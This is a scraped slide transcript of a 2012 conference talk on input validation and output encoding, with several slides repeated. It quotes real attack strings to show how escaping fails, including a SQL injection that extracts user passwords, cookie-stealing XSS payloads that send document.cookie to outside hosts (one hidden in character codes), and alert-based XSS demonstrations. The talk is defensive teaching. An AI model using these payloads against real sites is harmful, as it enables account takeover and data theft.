[Talk] Moving Beyond Spaghetti Infrastructure [AOTB] 2024-07-04.pdf[Talk] Moving Beyond Spaghetti Infrastructure [AOTB] 2024-07-04.pdf
[Talk] Moving Beyond Spaghetti Infrastructure [AOTB] 2024-07-04.pdf
 
INDIAN AIR FORCE FIGHTER PLANES LIST.pdf
INDIAN AIR FORCE FIGHTER PLANES LIST.pdfINDIAN AIR FORCE FIGHTER PLANES LIST.pdf
INDIAN AIR FORCE FIGHTER PLANES LIST.pdf
 

Input sanitization

  • 1. Is What You Get, What You Expect to Get? Philip Tellis / philip@lognormal.com ConFoo.ca / 2012-03-01 ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 1
  • 2. IWYGWYETG ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 2
  • 3. $ finger philip Philip Tellis philip@lognormal.com @bluesmoon geek - paranoid - speedfreak co-founder Log-Normal http://bluesmoon.info/ ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 3
  • 4. WARNING ! This presentation may contain unreadable code. Attempting to read it is probably not worthwhile. Definitely not at 08:30. Screaming WTF!!1! probably is. ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 4
  • 5. How do you distinguish code from data? ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 5
  • 6. < > ’ " & % ‘ ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 6
  • 7. Failure to tell the difference. . . ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 7
  • 8. Note: This talk is NOT about XSS or SQLi, but it might seem like it ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 8
  • 9. Let’s look at a few examples ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 9
  • 10. http://xxyyzz.com/forms/contact_form.asp?i= 0%27%20UNION%20ALL%20SELECT%201,2,3,4,5,%28 %27%3c%28%20%27%2buserId%29,%28firstname %2b%27%20%27%2blastname%29,%28address%2b %27%20city:%27%2bcity%29,9,10,11,12,13,14,15,16, %28email%2b%27%20-Password:%20%27%27 %2buserpwd%2b%27%20%29%3e%27%29,18,19,20,21, 22,23,24,25,26,27,28,29,30%20FROM%20 ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 10
  • 11. http://xxyyzz.com/forms/contact_form.asp?i= 0’ UNION ALL SELECT 1,2,3,4,5, ( ’ < ( ’ + userId ) , ( firstname + ’ ’ + lastname ) , ( address + ’ city: ’ + city ) ,9,10,11,12,13,14,15,16, ( email + ’ -Password: ’ ’ + userpwd + ’ ) > ’ ) ,18,19,20,21, 22,23,24,25,26,27,28,29,30 FROM ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 11
  • 12. Expected a positive integer, but got more than that ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 12
  • 13. <?php $id = htmlspecialchars($_GET[ ’id’ ]); ?> ... value : <?php echo ($id) ? $id : ’null’; ?> This is JavaScript code generated by PHP ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 13
  • 14. id=%3Cscript%3Edocument.location=%27 http://www.silic0n.byethost8.com/index.php ?isr=%27%20+escape(document.cookie) %3C/script%3E $id should have been an integer A bug in this attack rendered it unsuccessful ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 14
  • 15. id=%3Cscript%3Edocument.location=%27 http://www.silic0n.byethost8.com/index.php ?isr=%27%20+escape(document.cookie) %3C/script%3E $id should have been an integer A bug in this attack rendered it unsuccessful ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 14
  • 16. id=%3Cscript%3Edocument.location=%27 http://www.silic0n.byethost8.com/index.php ?isr=%27%20+escape(document.cookie) %3C/script%3E $id should have been an integer A bug in this attack rendered it unsuccessful ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 14
  • 17. Expected a positive integer, but got more than that ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 15
  • 18. <a <?php echo ’href=/stock_price?f=’ . htmlspecialchars($_GET[’f’]); ?> > ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 16
  • 19. <a <?php echo ’href=/stock_price?f=’ . htmlspecialchars($_GET[’f’]); ?> > ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 16
  • 20. use the quotes luke <a " <?php echo ’href=/stock_price?f=’ . htmlspecialchars($_GET[’f’]); ?> > ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 16
  • 21. /stock_price?f=ACDD%20STYLE=x:expression( document.write(String.fromCharCode( 60,105,109,103,32,115,114,99,61,120,32,111,110,101,114,114,111,114,61,40,100,111,99, 117,109,101,110,116,46,108,111,99,97,116,105,111,110,61,39,104,116,116,112,58,47,47, 115,116,97,110,100,97,114,100,51,51,46,102,114,101,101,104,111,115,116,105,97,46,99, 111,109,47,67,83,47,108,103,46,112,104,112,63,105,110,102,111,61,39,43,101,15,99,97, 112,101,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,41,62 ))) ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 17
  • 22. /stock_price?f=ACDD%20STYLE=x:expression( document.write(String.fromCharCode( 60,105,109,103,32,115,114,99,61,120,32,111,110,101,114,114,111,114,61,40,100,111,99, 117,109,101,110,116,46,108,111,99,97,116,105,111,110,61,39,104,116,116,112,58,47,47, 115,116,97,110,100,97,114,100,51,51,46,102,114,101,101,104,111,115,116,105,97,46,99, 111,109,47,67,83,47,108,103,46,112,104,112,63,105,110,102,111,61,39,43,101,15,99,97, 112,101,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,41,62 ))) ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 17
  • 23. /stock_price?f=ACDD%20STYLE=x:expression( document.write(String.fromCharCode( 60,105,109,103,32,115,114,99,61,120,32,111,110,101,114,114,111,114,61,40,100,111,99, 117,109,101,110,116,46,108,111,99,97,116,105,111,110,61,39,104,116,116,112,58,47,47, 115,116,97,110,100,97,114,100,51,51,46,102,114,101,101,104,111,115,116,105,97,46,99, 111,109,47,67,83,47,108,103,46,112,104,112,63,105,110,102,111,61,39,43,101,15,99,97, 112,101,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,41,62 ))) ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 17
  • 24. The char codes translate to: <img src=x onerror=(document.location=’ http://standard33.freehostia.com/CS/lg.php?info=’ +escape(document.cookie))> $f was html encoded, but used unquoted as an attribute value. Remember that spaces are never encoded. ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 18
  • 25. Expected a stock symbol, but got more than that ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 19
  • 26. <?php $host=htmlspecialchars($_REQUEST[’h’], ENT_QUOTES); ?> ... var host = "<?php echo $host ?>"; var div = document.getElementById("l"); div.innerHTML = "<a href="http://xxx.xx.com/gethost?h="" + host + ">" + host + "</a>"; Notice the different contexts What’s special (meta) to one language but not the other? ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 20
  • 27. <?php $host=htmlspecialchars($_REQUEST[’h’], ENT_QUOTES); ?> ... var host = "<?php echo $host ?>"; var div = document.getElementById("l"); div.innerHTML = "<a href="http://xxx.xx.com/gethost?h="" + host + ">" + host + "</a>"; Notice the different contexts What’s special (meta) to one language but not the other? ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 20
  • 28. <?php $host=htmlspecialchars($_REQUEST[’h’], ENT_QUOTES); ?> ... var host = "<?php echo $host ?>"; var div = document.getElementById("l"); div.innerHTML = "<a href="http://xxx.xx.com/gethost?h="" + host + ">" + host + "</a>"; Notice the different contexts What’s special (meta) to one language but not the other? ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 20
  • 29. <?php $host=htmlspecialchars($_REQUEST[’h’], ENT_QUOTES); ?> ... var host = "<?php echo $host ?>"; var div = document.getElementById("l"); div.innerHTML = "<a href="http://xxx.xx.com/gethost?h="" + host + ">" + host + "</a>"; Notice the different contexts What’s special (meta) to one language but not the other? ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 20
  • 30. <?php $host=htmlspecialchars($_REQUEST[’h’], ENT_QUOTES); ?> ... var host = "<?php echo $host ?>"; var div = document.getElementById("l"); div.innerHTML = "<a href="http://xxx.xx.com/gethost?h="" + host + ">" + host + "</a>"; Notice the different contexts What’s special (meta) to one language but not the other? ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 20
  • 31. <?php $host=htmlspecialchars($_REQUEST[’h’], ENT_QUOTES); ?> ... var host = "<?php echo $host ?>"; var div = document.getElementById("l"); div.innerHTML = "<a href="http://xxx.xx.com/gethost?h="" + host + ">" + host + "</a>"; Notice the different contexts What’s special (meta) to one language but not the other? ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 20
  • 32. h=u0022u003eu003cimgu0020srcu003du0022foou0022u0020 onerroru003du0022alert(u0027xssu0027) ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 21
  • 33. h= " > < img src = " foo " onerror = " alert( ’ xss ’ ) ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 21
  • 34. h="><img src="foo" onerror="alert(’xss’) ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 21
  • 35. Expected a hostname, but got something completely different ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 22
  • 36. Dear IE6 <input value="[e0]"> "onmouseover=alert(0) > ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 23
  • 37. Dear IE6 <input value="[e0]"> "onmouseover=alert(0) > That’s 0xe0, start of 3 byte seq ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 23
  • 38. Dear IE6 <input value=""onmouseover=alert(0) > ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 23
  • 39. Expected valid UTF-8, got invalid UTF-8 ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 24
  • 40. So what’s the common theme here? ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 25
  • 41. Should I be Validating Input or Encoding Output? ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 26
  • 42. They solve two different problems, and you need both ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 27
  • 43. Output Encoding (done automatically by your framework) protects your users from XSS ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 28
  • 44. Input Validation is a data quality issue ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 29
  • 45. Is the input you get from a user of the type and range that you expect it to be? ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 30
  • 46. Sometimes it results in back end code injection ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 31
  • 47. But it always results in bad data ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 32
  • 48. Bonus Example: This hit me in production yesterday ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 33
  • 49. regex to check if text was a subdomain of a known domain re=new RegExp(’^(?:[^.]+.)*’ + dom + ’$’, ’i’); re.exec(ref) ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 34
  • 50. Sometimes IE8 will serve requests from a .mht file mhtml:file://C:Usersblah-blah-blah.mht ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 35
  • 51. I expected the regex to reject this text ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 36
  • 52. What I got was 100% CPU spent in regex backtracking ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 37
  • 53. ;( ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 38
  • 54. Unrelated Bonus Example: From a WordPress theme ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 39
  • 55. <?php $value=htmlspecialchars($_GET[’value’], ENT_QUOTES); ?> <input type="text" value="<?php echo $value ?>" onfocus="if(this.value==’<?php echo $value ?>’) {this.value = ’’;}" /> ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 40
  • 56. <input type="text" value="&#39;+alert(/xss/)+&#39;" onfocus="if(this.value==’&#39;+alert(/xss/)+&#39;’) {this.value = ’’;}" /> Inside an on* handler, html entities are decoded before they are passed on to JavaScript ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 41
  • 57. <input type="text" value="&#39;+alert(/xss/)+&#39;" onfocus="if(this.value==’&#39;+alert(/xss/)+&#39;’) {this.value = ’’;}" /> Inside an on* handler, html entities are decoded before they are passed on to JavaScript ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 41
  • 58. <input type="text" value="&#39;+alert(/xss/)+&#39;" onfocus="if(this.value==’’ +alert(/xss/)+ ’’) {this.value = ’’;}" /> Inside an on* handler, html entities are decoded before they are passed on to JavaScript ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 41
  • 59. I have no idea what was expected here ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 42
  • 60. Questions? ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 43
  • 61. Contact me Philip Tellis philip@lognormal.com @bluesmoon geek - paranoid - speedfreak co-founder Log-Normal http://bluesmoon.info/ slideshare.net/bluesmoon ConFoo.ca / 2012-03-01 Is What You Get, What You Expect to Get? 44